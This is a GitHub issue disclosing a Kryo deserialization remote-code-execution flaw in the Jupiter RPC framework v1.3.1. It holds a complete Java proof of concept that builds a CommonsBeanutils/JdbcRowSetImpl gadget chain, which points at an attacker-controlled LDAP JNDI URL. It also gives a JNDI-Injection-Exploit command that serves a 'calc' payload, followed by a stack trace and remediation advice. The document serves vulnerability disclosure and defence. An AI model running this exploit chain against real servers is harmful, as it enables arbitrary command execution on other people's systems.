Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Kryo Deserialization Vulnerability in Jupiter v1.3.1 #115

Open
MountainCui25 opened this issue Dec 1, 2023 · 0 comments
Open

Kryo Deserialization Vulnerability in Jupiter v1.3.1 #115

MountainCui25 opened this issue Dec 1, 2023 · 0 comments

Comments

@MountainCui25
Copy link

Describe the Vulnerability

A deserialization vulnerability in Jupiter v1.3.1 allows attackers to execute arbitrary commands via sending a crafted RPC request.

Environment

  • Jupiter version: v1.3.1
  • JVM version: JDK 1.8(Tested on JDK 1.8.0_65)

Preparation for Vulnerability Verification

  1. There is an additional method named "sayObject" in the service
    image
    image

  2. The application has dependencies on commons-collections and commons-beanutils.
    image

  3. Remote class loading is allowed (either because an old JDK version is being used(eg. 8u65 in this paper), or by using the JVM argument -Dcom.sun.jndi.ldap.object.trustURLCodebase=true)

Exploit and Analysis

POC

  1. Obtain the JNDI injection tool from: https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0
  2. Use the following command below to establish a JNDI link
    java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc"
    image
  3. Paste the provided POC code below into the project, ensuring to modify the JNDI URL address! Also, Modify the SerializerType to be Kryo.
package org.jupiter.example.non.annotation;

import org.jupiter.common.util.SystemPropertyUtil;
import org.jupiter.example.ServiceNonAnnotationTest;
import org.jupiter.rpc.DefaultClient;
import org.jupiter.rpc.JClient;
import org.jupiter.rpc.consumer.ProxyFactory;
import org.jupiter.rpc.model.metadata.ServiceMetadata;
import org.jupiter.serialization.SerializerType;
import org.jupiter.transport.JConnector;
import org.jupiter.transport.exception.ConnectFailedException;
import org.jupiter.transport.netty.JNettyTcpConnector;
import com.sun.rowset.JdbcRowSetImpl;
import org.apache.commons.beanutils.BeanComparator;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Collections;
import java.util.Comparator;
import java.util.TreeMap;

public class CB_RCE_Client {

    public static void main(String[] args) throws Exception {
    	// Modify the JNDIURL here!!
        String jndiUrl = "ldap://169.254.197.239:1389/a43idy";
        SystemPropertyUtil.setProperty("jupiter.message.args.allow_null_array_arg", "true");
        SystemPropertyUtil.setProperty("jupiter.serializer.protostuff.allow_null_array_element", "true");
        final JClient client = new DefaultClient().withConnector(new JNettyTcpConnector());
        // 连接RegistryServer
        client.connectToRegistryServer("127.0.0.1:20001");
        // 自动管理可用连接
        JConnector.ConnectionWatcher watcher = client.watchConnections(
                new ServiceMetadata("test", "org.jupiter.example.ServiceNonAnnotationTest", "1.0.0")
        );
        // 等待连接可用
        if (!watcher.waitForAvailable(3000)) {
            throw new ConnectFailedException();
        }

        Runtime.getRuntime().addShutdownHook(new Thread(client::shutdownGracefully));

        ServiceNonAnnotationTest service = ProxyFactory.factory(ServiceNonAnnotationTest.class)
                .group("test")
                .providerName("org.jupiter.example.ServiceNonAnnotationTest")
                .version("1.0.0")
                .client(client)
        // Modify the SerializerType to be Kryo here!!
                .serializerType(SerializerType.KRYO)
                .newProxyInstance();

        BeanComparator cmp = new BeanComparator("lowestSetBit", Collections.reverseOrder());
        Object trig = makeTreeMap(makeJNDIRowSet(jndiUrl), cmp);
        setFieldValue(cmp, "property", "databaseMetaData");
        try {
            service.sayObject(trig);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static TreeMap<Object, Object> makeTreeMap (Object tgt, Comparator comparator ) throws Exception {
        TreeMap<Object, Object> tm = new TreeMap<>(comparator);

        Class<?> entryCl = Class.forName("java.util.TreeMap$Entry");
        Constructor<?> entryCons = entryCl.getDeclaredConstructor(Object.class, Object.class, entryCl);
        entryCons.setAccessible(true);
        Field leftF = getField(entryCl, "left");

        Field rootF = getField(TreeMap.class, "root");
        Object root = entryCons.newInstance(tgt, tgt, null);
        leftF.set(root, entryCons.newInstance(tgt, tgt, root));
        rootF.set(tm, root);
        setFieldValue(tm, "size", 2);
        return tm;
    }

    public static Field getField ( final Class<?> clazz, final String fieldName ) throws Exception {
        try {
            Field field = clazz.getDeclaredField(fieldName);
            if ( field != null )
                field.setAccessible(true);
            else if ( clazz.getSuperclass() != null )
                field = getField(clazz.getSuperclass(), fieldName);

            return field;
        }
        catch ( NoSuchFieldException e ) {
            if ( !clazz.getSuperclass().equals(Object.class) ) {
                return getField(clazz.getSuperclass(), fieldName);
            }
            throw e;
        }
    }

    public static void setFieldValue ( final Object obj, final String fieldName, final Object value ) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }

    public static JdbcRowSetImpl makeJNDIRowSet (String jndiUrl ) throws Exception {
        JdbcRowSetImpl rs = new JdbcRowSetImpl();
        rs.setDataSourceName(jndiUrl);
        rs.setMatchColumn("foo");
        getField(javax.sql.rowset.BaseRowSet.class, "listeners").set(rs, null);
        return rs;
    }
}
  1. Run Server and RegistryServer in the "org.jupiter.example.non.annotation" package
    image
  2. Finally, run the POC code, and examine the obtained result:
    image
  3. Stack Trace:
lookup:417, InitialContext (javax.naming)
connect:624, JdbcRowSetImpl (com.sun.rowset)
getDatabaseMetaData:4004, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeMethod:2170, PropertyUtilsBean (org.apache.commons.beanutils)
getSimpleProperty:1332, PropertyUtilsBean (org.apache.commons.beanutils)
getNestedProperty:770, PropertyUtilsBean (org.apache.commons.beanutils)
getProperty:846, PropertyUtilsBean (org.apache.commons.beanutils)
getProperty:426, PropertyUtils (org.apache.commons.beanutils)
compare:157, BeanComparator (org.apache.commons.beanutils)
compare:1291, TreeMap (java.util)
put:538, TreeMap (java.util)
read:140, MapSerializer (com.esotericsoftware.kryo.serializers)
read:17, MapSerializer (com.esotericsoftware.kryo.serializers)
readObject:685, Kryo (com.esotericsoftware.kryo)
read:378, DefaultArraySerializers$ObjectArraySerializer (com.esotericsoftware.kryo.serializers)
read:289, DefaultArraySerializers$ObjectArraySerializer (com.esotericsoftware.kryo.serializers)
readObject:685, Kryo (com.esotericsoftware.kryo)
read:106, ObjectField (com.esotericsoftware.kryo.serializers)
read:482, FieldSerializer (com.esotericsoftware.kryo.serializers)
readObject:663, Kryo (com.esotericsoftware.kryo)
readObject:106, KryoSerializer (org.jupiter.serialization.kryo)
run:114, MessageTask (org.jupiter.rpc.provider.processor.task)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:745, Thread (java.lang)

Analysis

Trigger

  1. In MessageTask.run(), as we have set the Serializer to be Kryo:
    image
  2. Subsequently, KryoSerializer receives the object from client and places it into deserialization without conducting any security checks:
    image
  3. The process then follows the CommonsBeanutils gadget:
    image

Remediation Recommendations

1. Upgrade Kryo to Version 5.0 or Higher:
Upgrade the Kryo library to version 5.0 or a later release to benefit from the latest security enhancements and bug fixes.

2. Strict Outbound Internet Access Control
Due to the prevalence of known attack vectors leveraging JDNI injection to achieve Remote Code Execution (RCE), which requires the remote loading of malicious classes, it is recommended, where feasible without impacting business operations, to implement strict outbound internet access controls on server configurations.

3. Restriction of Access to Server
It is advisable to restrict external access to the server either by utilizing whitelist IP configurations or by closing public-facing ports. This measure aims to reduce the attack surface and potential risks associated with external access to the server.

4. Implementation of Whitelists/Blacklists for Serialization/Deserialization Classes
Establishing whitelists or blacklists for serialization/deserialization classes within the serialization protocol is recommended. This helps to restrict the deserialization of malicious classes. However, it is important to note that using a blacklist may introduce the risk of potential bypasses.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant